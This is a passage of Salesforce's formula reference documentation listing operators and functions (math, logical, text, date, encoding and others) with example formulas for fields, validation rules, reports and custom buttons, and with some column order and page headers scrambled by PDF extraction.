Use the following operators and functions when building formulas. Click on the name or description below to view more details. All functions are available everywhere that you can include a formula such as formula fields, validation rules, approval processes, and workflow rules, unless otherwise specified. Note: Extraneous spaces in the samples below are ignored by Salesforce.

Math Operators Operator + * / ^ () Description Calculates the sum of two values. Calculates the difference of two values. Multiplies its values. Divides its values. Raises a number to a power of a specified number. Specifies that the expressions within the open parenthesis and close parenthesis are evaluated first. All other expressions are evaluated using standard operator precedence.

Logical Operators Operator = and == Description Evaluates if two values are equivalent.

1107

Customize

Operators and Functions

Operator <> and != < > <= >= && ||

Description Evaluates if two values are not equivalent. Evaluates if a value is less than the value that follows this symbol. Evaluates if a value is greater than the value that follows this symbol. Evaluates if a value is less than or equal to the value that follows this symbol. Evaluates if a value is greater than or equal to the value that follows this symbol. Evaluates if two values or expressions are both true. Use this operator as an alternative to the logical function AND. Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative to the logical function OR.

Text Operators Operator & Description Connects two or more strings.

Date and Time Functions Function DATE Description Returns a date value from year, month, and day values you enter. Salesforce displays an error on the detail page if the value of the DATE function in a formula field is an invalid date, such as February 29 in a non-leap year. Returns a date value for a date/time or text expression. Returns a year, month, day and GMT time value. Returns a day of the month in the form of a number between 1 and 31. Returns the month, a number between 1 (January) and 12 (December) in number format of a given date. Returns a date/time representing the current moment. Returns the current date as a date data type. Returns the four-digit year in number format of a given date.

DATEVALUE DATETIMEVALUE DAY MONTH NOW TODAY YEAR

Informational Functions Function BLANKVALUE ISBLANK Description Determines if an expression has a value and returns a substitute expression if it does not. If the expression has a value, returns the value of the expression. Determines if an expression has a value and returns TRUE if it does not. If it contains a value, this function returns FALSE.

1108

Customize

Operators and Functions

Function ISNULL NULLVALUE PRIORVALUE

Description Determines if an expression is null (blank) and returns TRUE if it is. If it contains a value, this function returns FALSE. Determines if an expression is null (blank) and returns a substitute expression if it is. If the expression is not blank, returns the value of the expression. Returns the previous value of a field.

Logical Functions Function AND CASE Description Returns a TRUE response if all values are true; returns a FALSE response if one or more values are false. Checks a given expression against a series of values. If the expression is equal to a value, returns the corresponding result. If it is not equal to any values, it returns the else_result. Determines if expressions are true or false. Returns a given value if true and another value if false. Compares the value of a field to the previous value and returns TRUE if the values are different. If the values are the same, this function returns FALSE. Checks if the formula is running during the creation of a new record and returns TRUE if it is. If an existing record is being updated, this function returns FALSE. Determines if a text value is a number and returns TRUE if it is. Otherwise, it returns FALSE. Returns FALSE for TRUE and TRUE for FALSE. Determines if expressions are true or false. Returns TRUE if any expression is true. Returns FALSE if all expressions are false.

IF ISCHANGED ISNEW

ISNUMBER NOT OR

Math Functions Function ABS CEILING EXP FLOOR LN LOG MAX Description Calculates the absolute value of a number. The absolute value of a number is the number without its positive or negative sign. Rounds a number up to the nearest integer. Returns a value for e raised to the power of a number you specify. Returns a number rounded down to the nearest integer. Returns the natural logarithm of a specified number. Natural logarithms are based on the constant e value of 2.71828182845904. Returns the base 10 logarithm of a number. Returns the highest number from a list of numbers.

1109

Customize

Operators and Functions

Function MIN MOD ROUND SQRT

Description Returns the lowest number from a list of numbers. Returns a remainder after a number is divided by a specified divisor. Returns the nearest number to a number you specify, constraining the new number by a specified number of digits. Returns the positive square root of a given number.

Text Functions Function BEGINS BR CONTAINS FIND GETSESSIONID HYPERLINK IMAGE INCLUDES ISPICKVAL LEFT LEN LOWER Description Determines if text begins with specific characters and returns TRUE if it does. Returns FALSE if it does not. Inserts a line break in a string of text. Compares two arguments of text and returns TRUE if the first argument contains the second argument. If not, returns FALSE. Returns the position of a string within a string of text represented as a number. Returns the users session ID. Creates a link to a URL specified that is linkable from the text specified. Inserts an image with alternate text and height/width specifications. Determines if any value selected in a multi-select picklist field equals a text literal you specify. Determines if the value of a picklist field is equal to a text literal you specify. Returns the specified number of characters from the beginning of a text string. Returns the number of characters in a specified text string. Converts all letters in the specified text string to lowercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided. Inserts characters you specify to the left-side of a text string. Returns the specified number of characters from the middle of a text string given the starting position. Returns the specified number of characters from the end of a text string. Inserts characters that you specify to the right-side of a text string. Substitutes new text for old text in a text string. Converts a percent, number, date, date/time, or currency type field into text anywhere formulas are used. Also, converts picklist values to text in validation rules, formula fields, and field updates. Removes the spaces and tabs from the beginning and end of a text string.

LPAD MID RIGHT RPAD SUBSTITUTE TEXT

TRIM

1110

Customize

Operators and Functions

Function UPPER

Description Converts all letters in the specified text string to uppercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided. Converts a text string to a number.

VALUE

Summary Functions The following functions can only be used in custom summary formulas for summary and matrix reports. Function PARENTGROUPVAL Description This function returns the value of a specified parent grouping. A parent grouping is any level above the one containing the formula. You can only use this function in custom summary formulas for reports. This function returns the value of a specified previous grouping. A previous grouping is one that comes before the current grouping in the report. Choose the grouping level and increment. The increment is the number of columns or rows before the current summary. The default is 1; the maximum is 12. You can only use this function in custom summary formulas for reports.

PREVGROUPVAL

Advanced Functions Function GETRECORDIDS INCLUDE LINKTO REGEX Description Returns an array of strings in the form of record IDs for the selected records in a list, such as a list view or related list. Returns content from an s-control snippet. Use this function to reuse common code in many s-controls. Returns a relative URL in the form of a link (href and anchor tags) for a custom s-control or Salesforce page. Compares a text field to a regular expression and returns TRUE if there is a match. Otherwise, it returns FALSE. A regular expression is a string used to describe a format of a string according to certain syntax rules. Returns a script tag with source for a URL you specify. Use this function when referencing the Force.com AJAX Toolkit or other JavaScript toolkits. Returns a relative URL for an action, s-control, Visualforce page, or a file in a static resource archive in a Visualforce page. External websites can use absolute URLs for use in certain Visualforce components, such as <flow:interview>. Returns a value by looking up a related value on a custom object similar to the VLOOKUP() Excel function.

REQUIRESCRIPT URLFOR

VLOOKUP

1111

Customize

Operators and Functions

Encoding Functions Function HTMLENCODE Description Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as &gt;. Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe JavaScript characters, such as the apostrophe ('). Encodes text and merge field values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents. Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank spaces are replaced with %20, and exclamation points are replaced with %21.

JSENCODE

JSINHTMLENCODE

URLENCODE

+ (Add) Description: Use: Formula Field Example: Calculates the sum of two values.
value1 + value2 and replace each value with merge

fields, expressions, or other numeric values.


Amount + Maint_Amount__c + Services_Amount__c

This formula calculates the sum of the opportunity Amount, maintenance amount, and services fees. Note that Maint amount and Service Fees are custom currency fields on opportunities. Report Example:
EMAIL_OPT_OUT:SUM + DO_NOT_CALL:SUM calculates all Email Opt Out fields plus all Do Not Call fields on the

leads in your report. This formula is a number data type that returns a positive integer. Validation Rule Example: You may have a custom object that allows users to track the total number of hours worked in a week. Use the following example to ensure that users cannot save a time card record with more than 40 hours in a work week.
Monday_Hours__c + Tuesday_Hours__c + Wednesday_Hours__c + Thursday_Hours__c + Friday_Hours__c > 40

Use a formula like this one in a validation rule to display the following error message when the total number of hours entered for each work day is greater than 40: Your total hours cannot exceed 40. This example requires five custom fields on your custom object, one for each day of work.

1112

Customize

Operators and Functions

- (Subtract) Description: Use: Example: Calculates the difference of two values.


value1 - value2 and replace each value with merge

fields, expressions, or other numeric values.


Amount - Discount_Amount__c

This formula calculates the difference of the opportunity Amount less the Discount Amount. Note that Discount Amount is a custom currency field on opportunities. Report Example:
AMOUNT:SUM Opportunity.Discount_Amount__c:SUM calculates the difference of all Amount fields and all Discounted Amount

custom fields on the opportunities in your report. This formula is a currency data type that returns a currency sign and decimal places.

* (Multiply) Description: Use: Example: Multiplies its values.


value1 * value2 and replace each value with merge

fields, expressions, or other numeric values.


Consulting_Days__c * 1200

This formula calculates the number of consulting days times 1200 given that this formula field is a currency data type and consulting charges a rate of $1200 per day. Note that Consulting Days is a custom field on opportunities. Report Example:
RowCount * AGE:AVG calculates the record count times the

average age value of all opportunities in your report. This formula is a number data type that returns a positive or negative integer or decimal.

/ (Divide) Description: Use: Example: Divides its values.


value1 / value2 and replace each value with merge

fields, expressions, or other numeric values.


AnnualRevenue/ NumberOfEmployees

This formula calculates the revenue amount per employee using a currency field on accounts.
IF(NumberOfOpportunities > 0, NumberOfWonOpportunities / NumberOfOpportunities, null)

1113

Customize

Operators and Functions

This formula calculates the win rate of opportunities on a campaign. Report Example: % Won Opportunities
WON:SUM / RowCount calculates the percent of Won

opportunities using a record count representing the number of all opportunities in your report. This formula is a number data type that returns a positive or negative integer. % Difference between Cost and Sales Price
(TOTAL_PRICE:SUM - QUANTITY:SUM * Product2.Cost__c:SUM) / (QUANTITY:SUM * Product2.Cost__c:SUM) calculates the average percent

difference between what a product costs and its selling price on a product-by-product level across many opportunities. Note that Product2.Cost__c:SUM is a custom currency field named Cost on products, which includes the cost of each product. This formula is a percent data type that returns a positive or negative integer. For best results, use this on a summary Opportunities with Products report that is summarized by Product Name and includes summary totals for Quantity, Total Price, and Cost.

^ (Exponentiation) Description: Use: Raises a number to a power of a specified number.


number^integer and replace number with a merge field, expression, or another numeric value; replace integer with

a merge field that contains an integer, expression, or any integer. Example: Report Example:
NumberOfEmployees^4 calculates the number of employees

to the 4th power.


ACTIVE:SUM ^ 2 calculates the number of active Salesforce

users to the 2nd power for administration. This formula is a number data type that returns a positive integer. Tips: Avoid replacing integer with a negative number.

() (Open Parenthesis and Close Parenthesis) Description: Specifies that the expressions within the open parenthesis and close parenthesis are evaluated first. All other expressions are evaluated using standard operator precedence.
(expression1) expression2... and replace each expression with merge fields, expressions, or other numeric

Use:

values.

1114

Customize

Operators and Functions

Example:

(Unit_Price__c - Standard_Price__c) / Sales_Price__c calculates the difference between the list

price and sales price divided by the sales price. As a percent data type on opportunity products, this calculates the discounted percent. Report Example:
(DURATIONHOURS:SUM * RowCount) / 24 calculates

the duration of all activities times the record count per 24 hours. This formula is a percent data type that returns a positive or negative integer or decimal, representing what percent of a day is spent on activities.

= and == (Equal) Description: Use: Evaluates if two values are equivalent.


expression1=expression2 or expression1 == expression2, and replace each expression with merge

fields, expressions, or other numeric values. Example: Due Date


Due Date = CreatedDate + 5 assigns a due date that is

five days past the create date. Commission Amount


IF(Probability =1, ROUND(Amount*0.02, 2), 0)

This formula calculates the 2% commission amount of an opportunity that has a probability of 100%. All other opportunities will have a commission value of 0. Possible results: An opportunity with a Probability of 90% will have a commission of 0. An opportunity with a Probability of 100% and an Amount of $100,000 will have a commission of $2,000.

<> and != (Not Equal) Description: Use: Evaluates if two values are not equivalent.
expression1 <> expression2 or expression1 != expression2, and replace each expression with merge

fields, expressions, or other numeric values.

1115

Customize

Operators and Functions

Example:

IF(Maint_Amount__c + Services_Amount__c<> Amount, "DISCOUNTED", "FULL PRICE")

This formula displays DISCOUNTED on an opportunity if its maintenance amount and services amount do not equal the opportunity amount. Otherwise, displays FULL PRICE. Note that this example uses two custom currency fields for Maint Amount and Services Amount.

< (Less Than) Description: Use: Example: Evaluates if a value is less than the value that follows this symbol.
value1 < value2 and replace each value with merge fields,

expressions, or other numeric values.


IF(AnnualRevenue < 1000000, 1, 2) assigns the value

1 to accounts with revenues less than one million and the value 2 to accounts with revenues greater than one million.

> (Greater Than) Description: Use: Example: Evaluates if a value is greater than the value that follows this symbol.
value1 > value2 and replace each value with merge fields,

expressions, or other numeric values.


IF(commission__c > 1000000, "High Net Worth", "General") assigns the High Net Worth value to

opportunities with a commission greater than one million. Note, this is a text formula field on opportunities that uses a commission custom field.

<= (Less Than or Equal) Description: Use: Example: Evaluates if a value is less than or equal to the value that follows this symbol.
value1 <= value2 and replace each value with merge

fields, expressions, or other numeric values.


IF(AnnualRevenue <= 1000000, 1, 2) assigns the

value 1 to accounts with revenues less than or equal to one million and the value 2 to accounts with revenues greater than one million.

1116

Customize

Operators and Functions

>= (Greater Than or Equal) Description: Use: Example: Evaluates if a value is greater than or equal to the value that follows this symbol.
value1 >= value2 and replace each value with merge

fields, expressions, or other numeric values.


IF(Commission__c >= 1000000, "YES", "NO")

assigns the YES value to opportunities with a commission greater than or equal to one million. Note, this is a text formula field on opportunities that uses a custom currency field called Commission.

&& (AND) Description: Use: Evaluates if two values or expressions are both true. Use this operator as an alternative to the logical function AND.
(logical1) && (logical2) and replace logical1 and logical2 with the values or expressions that you want

evaluated. Example:
IF((Price<100 && Quantity<5),"Small", null)

This formula displays Small if the price is less than 100 and quantity is less than five. Otherwise, this field is blank.

|| (OR) Description: Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative to the logical function OR.
(logical1) || (logical2) and replace any number of

Use:

logical references with the values or expressions you want evaluated. Example:
IF((ISPICKVAL(Priority, "High")) || (ISPICKVAL(Status , "New")), ROUND(NOW()-CreatedDate, 0), null)

This formula returns the number of days a case has been open if the Status is new or the Priority is high. If the case was opened today, this field displays a zero.

1117

Customize

Operators and Functions

Validation Rule Example:

(Discount_Rate__c < 0) || (Discount_Rate__c > 0.40)

This validation rule formula displays the following error message when the Discount Rate custom field is not between 0 and 40%: "Discount Rate cannot exceed 40%."

& (Concatenate) Description: Use: Example: Connects two or more strings.


string1&string2 and replace each string with merge

fields, expressions, or other values.


"Expense-" & Trip_Name__c & "-" & ExpenseNum__c

This formula displays the text Expense- followed by trip name and the expense number. This is a text formula field that uses an expense number custom field.

ABS Description: Calculates the absolute value of a number. The absolute value of a number is the number without its positive or negative sign.
ABS(number) and replace number with a merge field,

Use:

expression, or other numeric value that has the sign you want removed. Example:
ABS(ExpectedRevenue) calculates the positive value of the Expected Revenue amount regardless of whether it is

positive or negative.

AND Description: Returns a TRUE response if all values are true; returns a FALSE response if one or more values are false. Use this function as an alternative to the operator && (AND).
AND(logical1,logical2,...) and replace logical1,logical2,... with the values that you want

Use:

evaluated. Formula Field Example:


IF(AND(Price<1,Quantity<1),"Small", null)

This formula displays Small if the price and quantity are less than one. This field is blank if the asset has a price or quantity greater than one.

1118

Customize

Operators and Functions

BEGINS Description: Use: Determines if text begins with specific characters and returns TRUE if it does. Returns FALSE if it does not.
BEGINS(text, compare_text) and replace text, compare_text with the characters or fields you want to

compare. Example:
IF(BEGINS (Product_type__c, "ICU"), "Medical", "Technical")

This example returns the text Medical if the text in any Product Type custom text field begins with ICU. For all other products, it displays Technical. Tips: This function is case sensitive so be sure your compare_text value has the correct capitalization. When using this function in a validation rule or workflow rule, fields that are blank are considered valid. For example, if you have a validation rule that tests to see if the serial number of an asset begins with 3, all assets that have a blank serial number are considered valid.

BLANKVALUE Description: Use: Determines if an expression has a value and returns a substitute expression if it does not. If the expression has a value, returns the value of the expression.
BLANKVALUE(expression, substitute_expression) and replace expression with the expression you want evaluated; replace substitute_expression with the

value you want to replace any blank values. Example: Example 1


BLANKVALUE(Department, Undesignated)

This formula returns the value of the Department field if the Department field contains a value. If the Department field is empty, this formula returns the word Undesignated. Example 2
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)

This formula returns the date five days after the contract start date whenever Payment Due Date is blank. Payment Due Date is a custom date field on contracts. Tips: Use BLANKVALUE instead of NULLVALUE in new formulas. BLANKVALUE has the same functionality as NULLVALUE, but also supports text fields. Salesforce will continue to support NULLVALUE, so you do not need to change existing formulas. A field is not empty if it contains a character, blank space, or zero. For example, a field that contains a space inserted with the spacebar is not empty.

1119

Customize

Operators and Functions

Use the BLANKVALUE function to return a specified string if the field does not have a value; use the ISBLANK function if you only want to check if the field has a value. If you use this function with a numeric field, the function only returns the specified string if the field does not have a value and is not configured to treat blank fields as zeroes.

BR Description: Use: Example: Inserts a line break in a string of text.


BR()
CASE(ShippingCountry, "USA", ShippingStreet & BR() & ShippingCity & ", " & ShippingState & " " & ShippingPostalCode & BR() & ShippingCountry, "France", ShippingStreet & BR() & ShippingPostalCode & " " & ShippingCity & BR() & ShippingCountry, "etc")

This formula field displays a formatted mailing address for a contact in standard format, including spaces and line breaks where appropriate depending on the country for the account. Tips: Do not remove the parentheses after the function name. Keep the parentheses empty. They do not need to contain a value. Remember to surround the BR() with concatenation operators: &. Avoid using this function in mail merge templates. This function is not available in s-controls.

CASE Description: Checks a given expression against a series of values. If the expression is equal to a value, returns the corresponding result. If it is not equal to any values, it returns the else_result.
CASE(expression,value1, result1, value2, result2,..., else_result) and replace expression

Use:

with the field or value you want compared to each specified value. Replace each value and result with the value that must be equivalent to return the result entry. Replace else_result with the value you want returned when the expression does not equal any values.

1120

Customize

Operators and Functions

Formula Field Example:

Days Open for Cases Use this example of a custom formula field called Days Open to display different text depending on the number of days a case has been open:
CASE(Days_Open__c, 3, "Reassign", 2, "Assign Task", "Maintain")

The following text is displayed: Reassign for any case open three days. Assign Task for any case open two days. Maintain for all other cases.

Last Activity Month This formula field displays the month of the last account activity or None if there are no activities for the account.
CASE(MONTH(LastActivityDate), 1, "January", 2, "February", 3, "March", 4, "April", 5, "May", 6, "June", 7, "July", 8, "August", 9, "September", 10, "October", 11, "November", 12, "December", "None")

Default Value Example:

Discount Rate Use the following default value formula to insert a different discount rate on an opportunity based on the department of the person creating the opportunity:
CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

In this example, the formula inserts a discount rate of 25% on any opportunity created by a user in the IT department or 15% on any opportunity created by someone in the Field department. A zero is applied if the creator does not belong to either of these departments. This is a custom percent field on opportunities that uses the standard user field Department. Product Language You may want to associate a product with its language so that your users know the type of documentation or adapter to include. Use the following default value formula to automatically set the language of a product based on the

1121

Customize

Operators and Functions

country of the user creating the product. In this example, the default value is Japanese if the user's country is Japan and English if the user's country is US. If neither is true, the default value unknown is inserted into the Product Language field.
CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")

Tips:

Be sure your value1, value2... expressions are the same data type. Be sure your result1, result2... expressions are the same data type. CASE functions cannot contain functions that return true or false. Instead, make true or false expressions return numbers such as:
CASE(1, IF(ISPICKVAL (Term__c, "12"), 1, 0), 12 * Monthly_Commit__c, IF(ISPICKVAL(Term__c, "24"), 1, 0), 24 * Monthly_Commit__c, 0)

In this formula, Term is a picklist field that is multiplied by the Monthly Commit whenever it contains the value 1 for true. The else_result value is required. CASE functions return an error whenever any of the expressions return an error, regardless of which one should be returned. For example, CASE(Field__c,"Partner",
"P", "Customer", "C", LEFT(Field__c, -5))

returns an error even if the value of the field is Partner or Customer because the last statement is illogical. If the field in your CASE function is blank, it returns your else_result value. For example, this formula:
CASE(Days_Open__c, 3, "Reassign", 2, "Assign Task", "Maintain") displays Maintain if the Days Open field is blank, 0, or any value other than

2 or 3. Use CASE functions to determine if a picklist value is equal to a particular value. For example the formula
CASE(Term__c, "12", 12 * Monthly_Commit__c, "24", 24 * Monthly_Commit__c, 0) multiplies the Monthly Commit amount by 12 whenever the Term is 12 or multiplies the Monthly Commit amount by 24 whenever the Term is 24. Otherwise, the result is zero.

CEILING Description: Rounds a number up to the nearest integer.

1122

Customize

Operators and Functions

Use: Example:

CEILING(number) and replace number with the field or

expression you want rounded. Rounding Up (literal value)


CEILING(2.5)

This formula returns 3, which is 2.5 rounded up to the nearest number. Earthquake Magnitude
CEILING(Magnitude__c) returns the value of a formula

number field that calculates the magnitude of an earthquake up to the nearest integer.

CONTAINS Description: Compares two arguments of text and returns TRUE if the first argument contains the second argument. If not, returns FALSE.
CONTAINS(text, compare_text) and replace text with the text that contains the value of compare_text.
IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")

Use: Example:

This formula checks the content of a custom text field named Product_Type and returns Parts for any product with the word part in it. Otherwise, it returns Service. Note that the values are case sensitive, so if a Product_Type field contains the text Part or PART, this formula returns Services. Tips: This function is case sensitive so be sure your compare_text value has the correct capitalization. When using this function in a validation rule or workflow rule, fields that are blank are considered valid. For example, if you have a validation rule that tests to see if the serial number of an asset contains A, all assets that have a blank serial number are considered valid. The CONTAINS function does not support multi-select picklists. Use INCLUDES to see if a multi-select picklist has a specific value.

DATE Description: Returns a date value from year, month, and day values you enter. Salesforce displays an error on the detail page if the value of the DATE function in a formula field is an invalid date, such as February 29 in a non-leap year.

1123

Customize

Operators and Functions

Use:

DATE(year,month,day) and replace year with a four-digit year, month with a two-digit month, and day with a two-digit

day. Example:
DATE(2005, 01, 02) creates a date field of January 2,

2005.

DATEVALUE Description: Use: Example: Returns a date value for a date/time or text expression.
DATEVALUE(expression) and replace expression with

a date/time or text value, merge field, or expression. Closed Date


DATEVALUE(ClosedDate) displays a date field based on the value of the Date/Time Closed field.

Literal Date Value


DATEVALUE("2005-11-15") returns November 15, 2005

as a date value. Tips: If the field referenced in the function is not a valid text or date/time field, the formula field displays #ERROR! When entering a date as a literal value, surround the date with quotes and use the following format: YYYY-MM-DD, that is, a four-digit year, two-digit month, and two-digit day. If the expression does not match valid date ranges, such as the MM is not between 01 and 12, the formula field displays #ERROR! Dates and times are always calculated using the users time zone.

DATETIMEVALUE Description: Use: Example: Returns a year, month, day and GMT time value.
DATETIMEVALUE(expression) and replace expression

with a date/time or text value, merge field, or expression. Closed Date


DATETIMEVALUE(ClosedDate) displays a date field based on the value of the Date/Time Closed field.

Literal Date Value


DATETIMEVALUE("2005-11-15 17:00:00") returns

November 15, 2005 5:00 PM GMT as a date and time value .

1124

Customize

Operators and Functions

Tips:

DATETIMEVALUE is always calculated using GMT time zone and can't be changed. When entering a date as a literal value, surround the date with quotes and use the following format: YYYY-MM-DD, that is, a four-digit year, two-digit month, and two-digit day. If the expression does not match valid date ranges, such as the MM is not between 01 and 12, the formula field displays #ERROR!

DAY Description: Use: Example: Returns a day of the month in the form of a number between 1 and 31.
DAY(date) and replace date with a date field or value such as TODAY(). DAY(Code_Freeze__c) returns the day in your custom code

freeze date. Note this does not work on date/time fields.

EXP Description: Use: Example: Returns a value for e raised to the power of a number you specify.
EXP(number) and replace number with a number field or

value such as 5. Exponent of a Literal Value


EXP(3)

This formula returns the value of e to the third power. Compound Interest
Principal__c * EXP(Rate__c * Years__c)

This formula calculates the compound interest based on a custom currency field for principal, custom percent field for rate, and custom number field for years.

FIND Description: Use: Returns the position of a string within a string of text represented as a number.
FIND(search_text, text[, start_num]) and replace search_text with the string you want to find, replace text

with the field or expression you want to search, and replace

1125

Customize

Operators and Functions

start_num with the number of the character from which to

start searching from left to right. Example: Street Address


FIND(" ", Street) returns the character position of the first space in the Street field. You can use this number to

find out the length of the street address as a means of separating a street address from street name in an address field. Deriving Website Addresses
SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") finds the location of the @ sign in a

person's email address to determine the length of text to replace with a www. as a means of deriving their website address. Tips: Be sure to remove the brackets, [ and ], from your formula before validating it. If the field referenced in your text parameter is blank, the formula field displays 0. Your search_text parameter is case sensitive and cannot contain any wildcard characters. If your search does not return any results, a 0 displays in the field. The start_num parameter is optional. If you do not enter a start_num value, the formula uses the value one, or the first character in the string. If your start_num is not greater than zero, a 0 displays in the field. If your start_num is greater than the length of the text, a 0 displays in the field. When entering your start_num parameter, remember that some fields like theWebsite field are unique because a http:// is automatically appended to the beginning of the text you enter. Note that the first character in a string is designated as one rather than zero.

FLOOR Description: Use: Example: Returns a number rounded down to the nearest integer.
FLOOR(number) and replace number with a number field or

value such as 5.245. Commission Amounts


FLOOR(commission__c) rounds commission down to the

nearest integer. Contact's Age

1126

Customize

Operators and Functions

FLOOR((TODAY()-Birthdate)/365.2425)

Use this formula to calculate a persons age based on a standard field called Birthdate. The persons Birthdate is subtracted from todays date, which returns the number of days since the persons Birthdate. This number is divided by the number of days in a year and rounded down to the nearest integer.

GETRECORDIDS Description: Use: Returns an array of strings in the form of record IDs for the selected records in a list, such as a list view or related list.
{!GETRECORDIDS(object_type)} and replace object_type with a reference to the custom or standard

object for the records you want to retrieve.

1127

Customize

Operators and Functions

Custom Button Example:

{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records = {!GETRECORDIDS($ObjectType.Case)}; var newRecords = []; if (records[0] == null) { alert("Please select at least one row") } else { for (var n=0; n<records.length; n++) { var c = new sforce.SObject("Case"); c.id = records[n]; c.Status = "New"; newRecords.push(c); } result = sforce.connection.update(newRecords); window.location.reload(); }

In this example, all selected case records are updated with a Status of New. To set this up in your organization, create a custom list button for cases with the following attributes:
Display Type is List Button Behavior is Execute JavaScript Content Source is OnClick JavaScript

Paste the sample code above into the content of your custom button. Finally, add the list button to the a page layout that contains the Cases related list, such as accounts or opportunities. Users can select any number of cases in the related list and click the list button to change the status of those cases at once. Notice the check for records[0] == null, which displays a message to users when they do not select at least one record in the list. Tips: Use global variables to access special merge fields for s-controls, custom buttons, and links. Activities are special types of objects. Use {!GETRECORDIDS($ObjectType.Task)} when creating a task list button. Use {!GETRECORDIDS($ObjectType.Event)} when creating an event list button. This function is only available in custom buttons, links, and s-controls.

1128

Customize

Operators and Functions

GETSESSIONID Description: Use: Example: Returns the users session ID.


GETSESSIONID()
HYPERLINK ("https://www.myintegration.com?sId="& GETSESSIONID() & "?&rowID="&Name & "action=CreateTask","Create a Meeting Request")

creates a link to an application outside of Salesforce, passing the parameters so that it can connect to Salesforce via the API and create the necessary event.

HTMLENCODE Description: Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as &gt;.
{!HTMLENCODE(text)} and replace text with the merge

Use: Example:

field or text string that contains the reserved characters. If the merge field foo__c contains <B>Enter the user's name<b>, {!HTMLENCODE(foo__c)} results in:
&lt;B&gt;Enter the user&#39;s name&lt;/b&gt;

HYPERLINK Description: Use: Creates a link to a URL specified that is linkable from the text specified.
HYPERLINK(url, friendly_name [,target]) and replace url with the Web address, replace friendly_name with the link text, and, optionally, replace target with the

window or frame in which to display the content. Example: Creating Events


HYPERLINK("00U/e? retURL=%2F006x0000001T8Om&what_id=" & Id, "Create Event")

adds a link called Create Event that, when clicked, creates a new event that is associated with the current opportunity. Phone Dialer
HYPERLINK("http://servername/call?id=" & Id & "&phone=" & Phone, Phone)creates a linkable phone

number field that automatically dials the phone number when

1129

Customize

Operators and Functions

clicked. In this example, replace "servername" and "call" with the name of your dialing tool and the command it uses to dial. The merge field, Id, inserts the identifier for the contact, lead, or account record. The first Phone merge field tells the dialing tool what number to call and the last Phone merge field uses the value of the Phone field as the linkable text the user clicks to dial. Tips: Hyperlink formula fields are of type text. Include the protocol and URL in quotes as in
HYPERLINK("http://www.cnet.com", "cnet").

Avoid using text functions such as LEN, LEFT, or RIGHT on HYPERLINK function results. When linking to Salesforce pages, use a relative link, such as 00U/e?retURL=%..., for hyperlink formulas unless you want to add the formula field to a search layout. Use the complete URL, including the server name and https://, in a hyperlink formula to add it to a search layout. Note that formula fields are not available in search result layouts. Use the $Api variable to reference API URLs. Be sure to remove the brackets, [ and ], from your formula before validating it. The target parameter is optional. If you do not specify a target, the link opens in a new browser window. Some common target parameters are: _blank Displays link in a new unnamed window. _self Displays link in the same frame or window as the element that refers to it. _parent Displays link in the immediate frameset parent of the current frame. This value is the same as _self if the current frame has no parent. _top Displays link in the full original window, canceling any other frames. This value is the same as _self if the current frame has no parent. For more information on basic HTML tags, consult an HTML reference on the Internet. The HYPERLINK function is available everywhere that you can define a formula except default values, field updates, s-controls, validation rules, approval processes, custom buttons and links, and workflow rules.

1130

Customize

Operators and Functions

IF Description: Use: Determines if expressions are true or false. Returns a given value if true and another value if false.
IF(logical_test, value_if_true, value_if_false) and replace logical_test with the expression you want evaluated; replace value_if_true with the value you want returned if the expression is true; replace value_if_false

with the value you want returned if the expression is false. Formula Field Example: Overdue Payments
IF(AND(Payment_Due_Date__c < TODAY(), Payment_Status__c ="UNPAID") , "PAYMENT OVERDUE", null)

This formula determines if the payment due date is past and the payment status is UNPAID. If so, returns the text PAYMENT OVERDUE and if not, leaves the field blank. This example uses a custom date field called Payment Due Date and a text custom field called Payment Status on contracts. Insert Tax Rate Use this default value formula to set the tax rate of an asset based on the user's city. Create a custom percent field with the following default value:
IF($User.City = "Napa", 0.0750, IF($User.City = "Paso Robles", 0.0725, IF($User.City = "Sutter Creek", 0.0725, IF($User.City = "Los Olivos", 0.0750, IF($User.City = "Livermore", 0.0875, null ) ) ) ) )

1131

Customize

Operators and Functions

Custom Button Example:

{! IF(Account.BillingCountry = "US", "http://maps.google.com/maps?q= "&Account.BillingStreet& "+"&Account.BillingCity&"+ "&Account.BillingState&"+ "&Account.BillingCountry, (IF(Account.BillingCountry = "UK", "http://maps.google.co.uk/maps?q= "&Account.BillingStreet &"+"&Account.BillingCity&"+ "&Account.BillingCountry, "http://maps.google.com"))) }

This example uses the IF function to determine if an address is in the United States or United Kingdom so that it can use the appropriate type of Google map to display the address. Tips: Make sure your value_if_true and value_if_false expressions are the same data type. When using an IF function with the $Profile.UserType variable to determine the type of Salesforce user license the logged in user has, use the following values: Standard for Salesforce PowerPartner for PRM User CustomerSuccess for Customer Portal User PowerCustomerSuccess for Customer Portal Manager

For example, use the following formulas to determine if the logged in user has the license type in quotes:
IF(ISPICKVAL($Profile.UserType ,"Standard"), 100, 0.1) IF(ISPICKVAL($Profile.UserType ,"PowerPartner"), 100, 0.1) IF(ISPICKVAL($Profile.UserType ,"CustomerSuccess"), 100, 0.1)

Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

IMAGE Description: Use: Inserts an image with alternate text and height/width specifications.
IMAGE(image_url, alternate_text, height, width) and replace image_url with the full path to the image; replace alternate_text with the string of text you

1132

Customize

Operators and Functions

want displayed when you hover your mouse over the image; replace height with the vertical size of the image in pixels; replace width with the horizontal size of the image in pixels. Example:
HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c, IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))

